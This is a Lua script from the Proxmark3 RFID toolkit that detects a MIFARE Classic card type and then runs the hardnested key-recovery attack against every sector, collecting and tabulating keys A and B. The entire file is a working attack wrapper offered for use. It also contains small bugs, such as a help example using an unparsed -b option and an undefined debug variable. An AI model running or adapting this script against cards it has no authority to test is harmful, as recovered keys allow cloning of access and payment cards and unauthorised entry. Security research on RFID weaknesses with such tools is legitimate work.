Update README.md

[proxmark3-svn] / client / scripts / hard.lua

local cmds = require('commands')
local getopt = require('getopt')
local utils = require('utils')
local lib14a = require('read14a')

example = "script iterates over all possible sectors for a tag and runs hardnested attack against them to collect the keys."
author = "Iceman"
desc =
[[
This script iterates over all possible sectors for a tag and runs hardnested attack against them to collect the keys.

Arguments:
        -k                              Known key, 6 bytes (12 hex digits)
Examples : 
        script hard -b 112233445566
]]

local numBlocks = 64
local numSectors = 16
local DEBUG = TRUE
--- 
-- A debug printout-function
function dbg(args)
        if not DEBUG then return end
        
    if type(args) == "table" then
                local i = 1
                while result[i] do
                        dbg(result[i])
                        i = i+1
                end
        else
                print("###", args)
        end     
end     
--- 
-- This is only meant to be used when errors occur
function oops(err)
        print("ERROR: ",err)
        return nil,err
end
--- 
-- Usage help
function help()
        print(desc)
        print("Example usage")
        print(example)
end
--
-- Exit message
function ExitMsg(msg)
        print( string.rep('--',20) )
        print( string.rep('--',20) )
        print(msg)
        print()
end
-- A little helper to place an item first in the list
local function placeFirst(akey, list)
        akey  = akey:lower()
        if list[1] == akey then 
                -- Already at pole position
                return list
        end
        local result = {akey}
        --print(("Putting '%s' first"):format(akey))
        for i,v in ipairs(list) do
                if v ~= akey then 
                        result[#result+1] = v
                end
        end
        return result
end
-- A function to display the results
-- TODO: iceman 2016,  still screws up output when a key is not found.
local function displayresults(results)
        local sector, blockNo, keyA, keyB, succA, succB, _

        print("|---|----------------|---|----------------|---|")
        print("|sec|key A           |res|key B           |res|")
        print("|---|----------------|---|----------------|---|")

        for sector,_ in pairs(results) do
                succA, succB, keyA, keyB = unpack(_)
                print(("|%03d|  %s  | %s |  %s  | %s |"):format(sector, keyA, succA, keyB, succB))
        end
        print("|---|----------------|---|----------------|---|")

end
---
-- a simple selftest function,
local function selftest()
        return nil
end

--- 
-- The main entry point
function main(args)

        local blockno = '00'
        local keytype = 0 --A  01==B
        local key = 'fc00018778f7'
        local trgkey = ''
        local numSectors = 16   
        
        -- Read the parameters
        for o, a in getopt.getopt(args, 'hk:') do
                if o == "h" then return help() end
                if o == "k" then key = a end
        end

        -- Turn off Debug
        local cmdSetDbgOff = "hf mf dbg 0"
        core.console( cmdSetDbgOff) 
        -- identify tag
        result, err = lib14a.read1443a(false)
        if not result then
                return oops(err)
        end
        core.clearCommandBuffer()
        
        -- Show tag info
        print((' Found tag %s'):format(result.name))
        
        if 0x18 == result.sak then --NXP MIFARE Classic 4k | Plus 4k
                -- IFARE Classic 4K offers 4096 bytes split into forty sectors, 
                -- of which 32 are same size as in the 1K with eight more that are quadruple size sectors. 
                numSectors = 40
        elseif 0x08 == result.sak then -- NXP MIFARE CLASSIC 1k | Plus 2k
                -- 1K offers 1024 bytes of data storage, split into 16 sector
                numSectors = 16
        elseif 0x09 == result.sak then -- NXP MIFARE Mini 0.3k
                -- MIFARE Classic mini offers 320 bytes split into five sectors.
                numSectors = 5
        elseif  0x10 == result.sak then-- "NXP MIFARE Plus 2k"
                numSectors = 32
        else
                print("I don't know how many sectors there are on this type of card, defaulting to 16")
        end

        result = {}
        for sector=1,numSectors do
                
                --[[
                The mifare Classic 1k card has 16 sectors of 4 data blocks each. 
                The first 32 sectors of a mifare Classic 4k card consists of 4 data blocks and the remaining
                8 sectors consist of 16 data blocks. 
                --]]
                local trgblockno = sector * 4 - 1 
                if sector > 32 then
                        trgblockno = 32 * 4 + (sector-32) * 16 -1
                end
                
                trgblockno = ("%02d"):format(trgblockno)
        
                local succA = 1
                local succB = 1
                local errA, keyA = core.hardnested(blockno, keytype, key, trgblockno, '0', trgkey, 0,0,0,0)
                keyA = keyA or ""
                if errA == nil or errA > 0 then succA = 0 end

                local errB, keyB = core.hardnested(blockno, keytype, key, trgblockno, '1', trgkey, 0,0,0,0)
                keyB = keyB or ""
                if errB == nil or errB > 0 then succB = 0 end
                result[sector] = { succA, succB, utils.ConvertAsciiToHex(keyA), utils.ConvertAsciiToHex(keyB) }
                                
                -- Check if user aborted
                if core.ukbhit() then
                        print("Aborted by user")
                        break
                end
        end
        displayresults(result)
end

main(args)